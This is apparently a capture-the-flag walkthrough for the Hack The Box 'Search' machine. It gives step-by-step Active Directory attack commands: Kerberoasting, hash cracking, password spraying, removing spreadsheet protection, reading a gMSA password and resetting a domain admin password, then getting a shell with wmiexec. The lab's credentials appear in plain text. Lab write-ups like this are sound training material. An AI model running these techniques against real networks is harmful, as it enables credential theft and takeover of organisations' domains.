9 minute read

Synopsis

Search is a hard difficulty Windows machine that focuses on Active Directory enumeration and exploitation techniques. Foothold is obtained by finding exposed credentials in a web page, enumerating AD users, running a Kerberoast attack to obtain a crackable hash for a service account and spraying the password against a subset of the discovered accounts, obtaining access to a SMB share where a protected XLSX file containing user data is found. Unprotecting the file leads to a second set of credentials, which gives access to another share where PKCS#12 certificates can be downloaded. After importing the certificates into a web browser, Windows PowerShell Web Access can be used to obtain an interactive shell on the system. Due to misconfigured ACLs, the user can retrieve the password of a group managed service account which can change the password of an administrative user, resulting in high-privileged access to the system via wmiexec or psexec.

Portscan

PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Search — Just Testing IIS
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
|_ssl-date: 2022-05-27T04:32:25+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after:  2030-08-09T08:13:35
443/tcp   open  https
|_http-title: Search — Just Testing IIS
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after:  2030-08-09T08:13:35
|_ssl-date: 2022-05-27T04:30:44+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
|_ssl-date: 2022-05-27T04:30:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after:  2030-08-09T08:13:35
8172/tcp  open  unknown
|_ssl-date: 2022-05-27T04:32:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=WMSvc-SHA2-RESEARCH
| Not valid before: 2020-04-07T09:05:25
|_Not valid after:  2030-04-05T09:05:25
| tls-alpn:
|_  http/1.1
9389/tcp  open  adws
49667/tcp open  unknown
49675/tcp open  unknown
49676/tcp open  unknown
49699/tcp open  unknown
49713/tcp open  unknown
49742/tcp open  unknown
Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-05-27T04:30:46
|_  start_date: N/A

Reconnaissance

before going deep enumeration of Active Directory, im gonna collect naming context from ldap with following command :

ldapsearch -h $ip -x -s base namingcontexts

let’s added search.htb

HTTP

accessing default page

in our team section we found the username, might be usefull

put on feroxbuster using raft medium from seclist will found /STAFF with status forbidden

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.10.11.129
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.7.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
 πŸŽ‰  New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
301      GET        2l       10w      150c http://10.10.11.129/images => http://10.10.11.129/images/
301      GET        2l       10w      146c http://10.10.11.129/js => http://10.10.11.129/js/
301      GET        2l       10w      147c http://10.10.11.129/css => http://10.10.11.129/css/
200      GET     1030l     2969w    44982c http://10.10.11.129/
301      GET        2l       10w      150c http://10.10.11.129/Images => http://10.10.11.129/Images/
301      GET        2l       10w      149c http://10.10.11.129/fonts => http://10.10.11.129/fonts/
301      GET        2l       10w      147c http://10.10.11.129/CSS => http://10.10.11.129/CSS/
301      GET        2l       10w      146c http://10.10.11.129/JS => http://10.10.11.129/JS/
301      GET        2l       10w      146c http://10.10.11.129/Js => http://10.10.11.129/Js/
301      GET        2l       10w      147c http://10.10.11.129/Css => http://10.10.11.129/Css/
301      GET        2l       10w      150c http://10.10.11.129/IMAGES => http://10.10.11.129/IMAGES/
301      GET        2l       10w      149c http://10.10.11.129/Fonts => http://10.10.11.129/Fonts/
403      GET       29l       92w     1233c http://10.10.11.129/Staff
403      GET       29l       92w     1233c http://10.10.11.129/STAFF

already done with fuzzing the sub domain without any lucks, and fuzzing the target found /staff with common wordlist from seclist

ffuf -c -u http://search.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

when accessing /staff we will find a login portal, and we do not have credentials yet.

Web_svc

when enumerating on the website, I found instructions like the picture below

sendpassword to hope sharp
IsolationIsKey?

as soon i used bloodhound.py to gather information about target with this credentials

./bloodhound.py -d search.htb -u hope.sharp -p 'IsolationIsKey?' -ns 10.10.11.129 -c all

start bloodhound and use list all kerberoastable account will get web_svc information

to identify Service Principal Names (SPNs) we can use GetUserSPN.py from impacket with prompt:

GetUserSPNs.py search.htb/hope.sharp:'IsolationIsKey?' -request -dc-ip 10.10.11.129 -outputfile hash

we obtain hash from web_svc let’s crack the hash using john the ripper

john hash -w=usr/share/wordlists/rockyou.txt

i just tried to grep certsrv again with this creds still failling. keep digging on smb, using smbap to see what permission this user has

start from certenroll shares, but I think the cert key below is only for accessing https in general, keep enumeration.

enumerate on RedirectedFolder$ share will get bunch of usernames

at this stage we cannot enter existing shares, because we do not have permission to do that. i just collect that names for further enumeration

use this command for grep name only

cat usernames | awk '{print $1}' >> users

now we can perform usernames spraying with that list on smb service using crackmapexec with password @3ONEmillionbaby

with the results I can not believe, we can find a suitable credential

search.htb\edgar.jacobs:@3ONEmillionbaby

Sierra Frye

re-login on smb service using edgar.jacobs credentials will found a excel file.

let’s download this file, and open it on google docs will only see a usernames

at this time I did not find any clues, I finally decided to opened my windows box, this file actually protected by a password. and we dont have it, googling about remove protectection on excel file will lead me into this article.

here’s my step:

  • unzip the Phising file
  • going to file sheet2.xml in /xl/worksheets directory
  • you can open gedit or vim and remove this sheetProtection line
<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/><sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
  • zip all files again with prompt:
zip -fr Phishing_Attempt.xlsx *

at this time we can use excel online and it can be seen that we get a list of passwords

and back again to bruteforce using crackmapexec

crackmapexec smb $ip -u users -p passwords

let’s login into smb again as sierra

sierra.frye:$$49=wide=STRAIGHT=jordan=28$$18

with this credentials we can found cert.key from \Downloads\Backup\ folder

download this cert and import on firefox

but when i use $$49=wide=STRAIGHT=jordan=28$$18 as a password, it couldnt match. we still had a pfx file right, i’ve get information on stackoverflow if we able to crack this file using john the ripper.

convert this pfx file into john format

pfx2john staff.pfx > hash

then using john to crack the hash with following command:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

as soon we successfully to import this cert

and now back again into /staff will find powershell web access

we can login as sierra and use password $$49=wide=STRAIGHT=jordan=28$$18, for computer name we can use research , which we know is our target host name from the certificate commonName shown in the nmap output.

Tristan Davies

Back to bloodhound again to see about sierra user and make it into starting as a node

sierra.frye is a member of brimingham-itsec and this group is managed by the ITSEC group, and the ITSEC group itself has the ability to Read GMSA Password for covid.search.htb(BIR-ADFS-GMSA). it means we can escalate to BIR-ADFS-GMSA user, then this user has GenericAll capability on user TRISTAN.DAVIES. GenericAll (full object control) means BIR-ADFS-GMSA user can reset password for user TRISTAN.DAVIES. Goal in this box is that we have to reach Tristan because of this user group member of domain admin

this good poc of gmsa password retrevial

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp

as you can see we can dump the password, GMSA password it’s hard to decode. but we can make the password into variable.

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

#make the password into variable
$c = ConvertFrom-ADManagedPasswordBlob $mp

switch user into BIR-ADFS-GMSA with following command:

$username ="BIR-ADFS-GMSA";
$password = $c.SecureCurrentPassword; 
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $password;

use whoami command to check if we BIR-ADFS-GMSA user or not with prompt:

Invoke-Command -ScriptBlock { whoami } -ComputerName RESEARCH -Credential $cred

as you can see, now we bir-adfs user, from now we can change the domain admin password into bunnys666 with following command:

Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {net user Tristan.Davies bunnys666 /domain}

check on crackmapexec

grab our root.txt using wmiexec.py

wmiexec.py search/tristan.davies:bunnys666@$ip

Refferencess

https://thebackroomtech.com/2018/08/21/explanation-of-service-principal-names-in-active-directory/
https://medium.com/r3d-buck3t/attacking-service-accounts-with-kerberoasting-with-spns-de9894ca243f
https://swarm.ptsecurity.com/kerberoasting-without-spns/
https://stackoverflow.com/questions/53547386/how-to-run-john-ripper-attack-to-p12-password-educative-pruposes
https://www.dsinternals.com/en/retrieving-cleartext-gmsa-passwords-from-active-directory/
https://www.ephingadmin.com/PasswordlessPowerShell/
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2
https://gist.github.com/NotMedic/e098ddef056fcea4288051e7d78a4618
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md